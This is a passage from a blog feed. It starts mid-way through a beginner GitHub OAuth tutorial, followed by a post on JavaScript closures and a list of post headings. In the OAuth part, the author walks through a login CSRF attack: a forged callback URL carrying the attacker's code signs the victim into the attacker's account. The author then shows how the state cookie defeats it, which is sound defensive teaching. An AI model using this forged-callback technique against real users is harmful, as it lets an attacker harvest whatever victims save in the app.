  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});

Read res.redirect() carefully, because the name invites the wrong mental model.

It is not a function that reaches out to GitHub. It does not open a connection. It does not wait for anything. All it does is set a 302 status and a Location header on our response, and end it. Whether anything happens after that is entirely the browser's business.

Two things to notice in the params.

client_id is public. It sits in a URL. That is fine and by design.

client_secret does not appear here at all. It never goes near the browser. We will use it exactly once, in Part 8, from our server.

Part 5: The user is on GitHub now

The browser follows the redirect and lands on github.com.

Before showing anything, GitHub checks two things. That our client_id exists, and that the redirect_uri we sent is an exact string match for the one registered in our OAuth app settings. Not a close match but exact. One trailing slash difference and we get an error page instead of a login screen.

Then the user types their password.

This happens on github.com, on a page GitHub served, over GitHub's own TLS connection. Our app has no visibility into any part of it. There is no way for us to read that password even if we wanted to, because it is never sent anywhere near us.

That is the entire security promise of OAuth, and it is worth pausing on. The reason this whole convoluted redirect dance exists is to get that one property.

After the password, GitHub shows the consent screen listing the scopes we asked for. The user approves.

Consent only appears the first time. GitHub records that this user authorized this app for these scopes. On every later login it skips the screen entirely and redirects straight back, which is why the second login feels fast.

It reappears in two cases. If we add a scope the user has not approved, or if the user revokes our app at github.com/settings/applications. That second one is worth doing once during development just to see the screen again.

Part 6: The "callback URL" is a misleading name

This was the single biggest source of my confusion, so I want to be blunt about it.

GitHub does not call our callback URL. It never opens a connection to our server. Not once, at any point in the entire flow.

What GitHub actually does is send another 302 back to the browser:

HTTP/1.1 302 Found
Location: http://localhost:5000/api/auth/github/callback?code=abc123&state=xyz789

And then it hangs up. Same as Part 1. It set a status, wrote a header, and finished.

The browser reads that Location value and sends a fresh GET request to our server, carrying the code in the query string. The browser is the middle man.

So "callback URL" is the address we want the browser sent back to with the code in the query string.

Part 7: The state check, and a SameSite trap

Our callback route runs. The first thing it does is compare the state in the query string against the oauth_state cookie, and then clear that cookie.

Why?

Here is the attack it prevents. Follow it slowly, because it is easy to misread which account is which.

An attacker goes to GitHub and authorizes our app using his own GitHub account. He gets back a valid code. It is a real code, correctly issued, and it points at his account.

He does not use it.

Instead, he gets our user to load this address, maybe through a link in an email or an image tag on a page:

http://ourapp.com/api/auth/github/callback?code=HIS_CODE

Our server sees a code, redeems it, and logs that user's browser into the attacker's account.

Wait, why would he use his own account?

This is the part that confused me, and it is worth stopping on, because the attack looks backwards at first.

He is not trying to break into the victim's GitHub. He cannot. The code he planted was issued for his account, so our server reads his email, his profile, his numeric id, and logs the browser into his user record. The victim's GitHub is never touched at any point, and the user has no clue because there was no consent screen.

What he gets is everything the victim does afterwards.

The victim clicks the link and our app looks completely normal. They are logged in, nothing errors, and almost nobody checks which account they are in. So they carry on and use the app. They write notes, upload files, save a delivery address, connect something at checkout. All of it gets written against the attacker's user record.

Then he logs into our app from his own machine, normally, with his own GitHub, and reads it.

So the value of this attack depends entirely on what our app stores. On a login only app that holds nothing, it is close to worthless. On anything where users create, upload or save things, it is a real problem. The account is a container, and he has quietly handed the victim one that he owns.

How `state` stops it

The state cookie shuts this down cleanly. The attacker cannot read or set an HttpOnly cookie in someone else's browser. So his forged request arrives with a state that does not match whatever is in the victim's cookie, and our server rejects it before ever touching the code.

The SameSite trap

This one is confusing as hell.

Our oauth_state cookie belongs to our own domain. So I expected it to be sent to our own server without question. That is not how SameSite works.

SameSite is not about who owns the cookie. It is about which page the navigation started on.

Look back at Part 6. That redirect originates on github.com. So from the browser's point of view this is a cross site navigation, even though the destination is ours and the cookie is ours.

With SameSite=Strict, the browser withholds the cookie. Our state check then fails on every single login, and the error message will not tell us why, because from our code's perspective the cookie simply is not there.

SameSite=Lax is the minimum that works, because Lax permits cookies on top level navigations like this one.

We want Lax on our own session JWT too, for two separate reasons. First, the page load after login is the tail end of a chain that started on github.com. Second, if a user clicks a link to our site from Gmail or WhatsApp, Strict would land them on our page logged out, which looks like a bug to them.

Part 8: Trading the code for a token

This is the first time in the entire flow that our server talks to GitHub over the network. No browser is involved. Nothing here is visible to the user.

const tokenRes = await fetch("https://github.com/login/oauth/access_token", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    Accept: "application/json",
  },
  body: JSON.stringify({
    client_id: process.env.GITHUB_CLIENT_ID,
    client_secret: process.env.GITHUB_CLIENT_SECRET,
    code,
    redirect_uri: "http://localhost:5000/api/auth/github/callback",
  }),
});

Two things here will waste an hour if nobody warns you.

Send Accept: application/json. Without it, GitHub replies with a form encoded string that looks like access_token=gho_xxx&scope=&token_type=bearer. Your tokenRes.json() will throw, and the error will not point at the missing header.

A bad code returns HTTP 200. Not 400. Not 401. You get a 200 OK with an error object sitting in the body. So if (!tokenRes.ok) will happily let a failure through. You have to check whether access_token is actually present in the parsed response.

Why is it safe for the code to travel through the URL?

This bothered me for a while. In Part 6 that code sat in the URL in plain text. Which means it went into browser history.

It is fine, because the code is single use and short lived.

The moment we exchange it, GitHub marks it consumed. Send the same code again and we get an error. And it expires on its own in about ten minutes whether we use it or not.

So anyone who digs that string out is holding something that has either already been spent or is about to expire on its own. The reusable, valuable thing is the access token we just received, and that never leaves our server.

Part 9: Finding out who they are

Here is a thing that is easy to assume and wrong: the access token does not tell us who the user is.

It is a key, not an ID card. It is proof that we are allowed to ask questions about the user logging in.

const headers = {
  Authorization: `Bearer ${accessToken}`,
  "User-Agent": "your-app-name",
  Accept: "application/vnd.github+json",
};

That User-Agent header is not optional. GitHub's API returns 403 Forbidden without it, and the error message does not obviously point at the cause. Every GitHub API request needs it.

Now we make our second and last server to server call.

https://api.github.com/user gives us the profile: id, login, name, avatar_url.

But email will very often come back as null, which is not a bug. Most people keep their email private on GitHub, and that endpoint respects the setting.

So we call https://api.github.com/user/emails as well. That returns an array of every email on the account, and we want the one where both primary and verified are true.

The verified part is not optional either. If the primary email is not verified, we treat the account as unverified rather than trusting the address. Otherwise someone could add an email they do not own to their GitHub account, log into our app, and get matched to an existing user in our database who does own it.

Part 10: Saving them, and our own session

Now that we have our user details, we set our own JWT using them as the payload and issue that to the client after login.

The short version

If we remember one thing from all of this, it is this:

Almost every step in OAuth is a server writing an address into a Location header and hanging up, while the browser does the walking.

So here is the exercise that taught me more than every diagram I looked at. Open DevTools. Go to the Network tab. Tick "Preserve log" so the rows survive all the page changes. Clear the list. Then run a login.

Go through them one at a time and find out, who sent this request, our server or the browser.

P.S. I wrote this while learning it, which means there is a decent chance something here is wrong or oversimplified. If you know OAuth properly and spot a mistake, please comment. Corrections are welcomed as the post gets better for the next beginner who lands on it.

JavaScript Closures: How They Actually Work

Mon, 31 Aug 2026 06:07:48 +0000

A quick note before we start: this post is for beginners trying to understand how closures actually work. I have done my best as per my limited knowledge to explain what happens under the hood, so if I have gotten anything wrong, please correct me in the comments.

When I was first learning closures, I could recite the definition but still could not explain why they actually work. Information that goes past the definition and into the "why" and "How" is sometimes harder to find than expected. One of my dear friends finally explained it to me in a way that made it click, so I thought I should pass it on for any beginner going through the same thing.

The definition we have probably heard: an inner function remembers variables from its outer function, even after the outer function has finished running. That is correct, but it is only the surface. The real question is, what is so special here? Why does that memory survive at all? The answer lives in how the JavaScript engine handles memory behind the scenes.

Here is the example we will use the whole way through:

function counter(n = 0) {
  var count = n;

  function innerCounter() {
    count++;
    console.log(count);
  }

  return innerCounter;
}

var a = 2;

var myCounter1 = counter();
myCounter1(); // 1
myCounter1(); // 2

var myCounter2 = counter(a);
myCounter2(); // 3
myCounter1(); // 3

I'm using var here just to make the breakdown easier to visualize.

How the Engine Runs the Code

Contrary to the popular belief that JavaScript is just a simple, line-by-line interpreted language, the engine handles the code in distinct steps. There are two phases:

The Compilation Phase: the engine scans the code and registers all variable declarations and function definitions before anything runs. For each function, it creates a function object in memory, and the function's name points to that object.

The Execution Phase: the code finally runs, line by line.

Separately from these, there's garbage collection: the cleanup process that runs in the background. Normally, once a function finishes executing, its local execution scope is freed from memory so it doesn't waste space. With a closure, that cleanup gets blocked. The executed function's local execution scope persists, letting the inner function reach back up the scope chain and grab what it needs.

Quick recap of the example above: counter takes a parameter n (default 0), stores it in count, and returns an inner function innerCounter that increments and logs count. We create myCounter1 from counter() and myCounter2 from counter(a), and the outputs come out as 1, 2, 3, 3. Now let's see how.

Step 1: Mapping the Global Scope

Before a single line runs, JavaScript sets up the global scope in memory during compilation, registering the names a, myCounter1, and myCounter2.

When it hits the counter definition, it creates a function object for it in memory, and the name counter points to that object. Here's the secret sauce: every function gets a hidden internal property (often written [[Scope]]) that points back to the environment where it was born. For counter, that points to the global scope.

Step 2: Creating myCounter1

Now execution starts. It sets a = 2, then calls counter() with no argument.

Invoking the function spins up a brand new local execution context, which points back to wherever its function definition's [[Scope]] is pointing to. Inside this temporary space, a mini-compilation happens:

n defaults to 0.
count is registered and initialized to 0.
innerCounter function is defined and stored and innerCounter holds reference to its function definition, and its hidden [[Scope]] points right back to this local scope.

Finally, counter() returns innerCounter, which returns the reference of its function definition and we store it in myCounter1.

Normally the local execution scope of counter() would now be wiped by the garbage collector. But JavaScript has a golden rule: if an environment can still be reached from the global scope, it can't be garbage collected. Since myCounter1 points to the inner function's definition, and the inner function points back to this local scope counter(), a bridge remains. The memory survives.

Climbing the Scope Chain

Now we call myCounter1(). A fresh local execution scope is created for the function execution which points back to wherever its [[Scope]] is pointing to, here it points to counter()'s local execution scope which is still in memory.

Then in execution phase for this function it encounters count++.

First it checks its own local context for count. Nothing there. So it follows up its scope chain into the preserved parent memory the counter() execution context, finds count at 0, increments it to 1 in that parent scope, and logs 1, and then myCounter1() local execution context is garbage collected.

The second call myCounter1() repeats exactly: it looks locally, finds nothing, climbs the chain, finds count now at 1, increments it to 2, and logs 2.

We get updated value here all because counter()'s local execution scope is still not garbage collected.

Step 3: Total Isolation with myCounter2

What happens when we create myCounter2?

Because we invoke counter fresh, JavaScript generates a completely separate, second local execution context. Here n receives the value of a (which is 2), so count starts at 2.

Calling myCounter2() climbs its own scope chain, finds its own count at 2, increments it, and outputs 3.

To prove the two environments share nothing, look at the final myCounter1(). It ignores whatever myCounter2 did, goes right back to its original environment, finds its old value of 2, increments it to 3, and logs 3.

Final Thoughts

At the end of the day, that's all a closure is. The outer function's local execution scope escapes garbage collection because the inner function's definition, whose reference is present in the global scope, keeps a live, reachable path back to the outer function's local execution scope via [[Scope]]. That persistent connection is what keeps the data alive across separate instances.

Coder Legion - Recent posts tagged beginners

Your App Works Locally. What Changes When It Goes to Production?

It Works on My Machine. What's the Problem?

Your App Needs a Home

The Frontend and Backend Need to Find Each Other

Where Does Your Data Live?

From Localhost to a Live Application

Build a water-leak alarm for under the sink (ESP32, one evening)

What to buy

What to install

Build it in three steps

What catches people out

You Ran git reset --hard and Panicked. Here's How to Get Your Commits Back (and the One Thing You Ca

What the Reflog Is

Disaster 1: git reset --hard Threw Away Commits

Disaster 2: You Deleted a Branch You Still Needed

Disaster 3: A Rebase Went Wrong

Disaster 4: You Dropped a Stash

The One Thing You Cannot Recover

Why Reflog Entries Do Not Last Forever

How to Make This Less Scary Next Time

The Rule

I Built PHANTOM Nature Scout: An Open-Source AI Companion for Exploring Nature

What Are APIs? And How Do They Work?

Why Do Applications Need to Communicate?

What Is an API?

The restaurant menu analogy

APIs aren't only for the internet

How Do APIs Work? The Request-Response Cycle

What happens when something goes wrong?

Making Your First API Request in Python

Types of APIs: REST, SOAP, GraphQL and WebSockets

REST APIs

SOAP APIs

GraphQL APIs

WebSocket APIs

These aren't all the same kind of thing

Why APIs Matter (and Where They Can Hurt)

The trade-offs of depending on someone else's API

5 Beginner API Projects to Practise With

1. Weather app (beginner)

2. Random cat image generator (beginner)

3. Book finder (beginner)

4. Movie search app (beginner to intermediate)

5. AI chatbot (intermediate)

Where Should You Start?

Frequently Asked Questions

Do I need to know how a server works to use an API?

What's the difference between an API and an API key?

Is a free API really free?

Conclusion

References

Welcome: Why I Started Learning Linux

Pytest in Practice

Installing pytest

Your First Test

How Does pytest Find Your Tests?

Assertions: Just Use assert

Comparing Floats with pytest.approx

pytest.approx Works with Nested Structures

Testing That an Error Is Actually Raised

pytest.raises Only Works When the Exception Escapes

Parametrize: One Test, Many Inputs

Why independence matters

When should you use it?

Grouping Tests in a Class

An important detail about test classes

Fixtures

Why conftest.py Matters

Fixture Scope

Built-in Fixtures Worth Knowing

tmp_path

caplog

capsys

monkeypatch

tmp_path in Practice

Mocking: Two Tools, Different Jobs

unittest.mock.patch

monkeypatch

patch vs monkeypatch: A Practical Mental Model

Disaster 1: `git reset --hard` Threw Away Commits

Assertions: Just Use `assert`

Comparing Floats with `pytest.approx`

`pytest.approx` Works with Nested Structures

`pytest.raises` Only Works When the Exception Escapes

Why `conftest.py` Matters

`tmp_path`

`caplog`

`capsys`

`monkeypatch`

`tmp_path` in Practice

`unittest.mock.patch`

`monkeypatch`

`patch` vs `monkeypatch`: A Practical Mental Model

`side_effect`: Make a Mock Fail

Keep `tests/` Outside `src/`

You Usually Don't Need `init.py`

Debugging pytest Without Sprinkling `print()` Everywhere

`-s`: Show stdout/stderr

`-k`: Run Tests by Name

`-x`: Stop at the First Failure

`--pdb`: Drop Into the Debugger

`-vv`: More Verbose Output

`--lf`: Run Only the Last Failures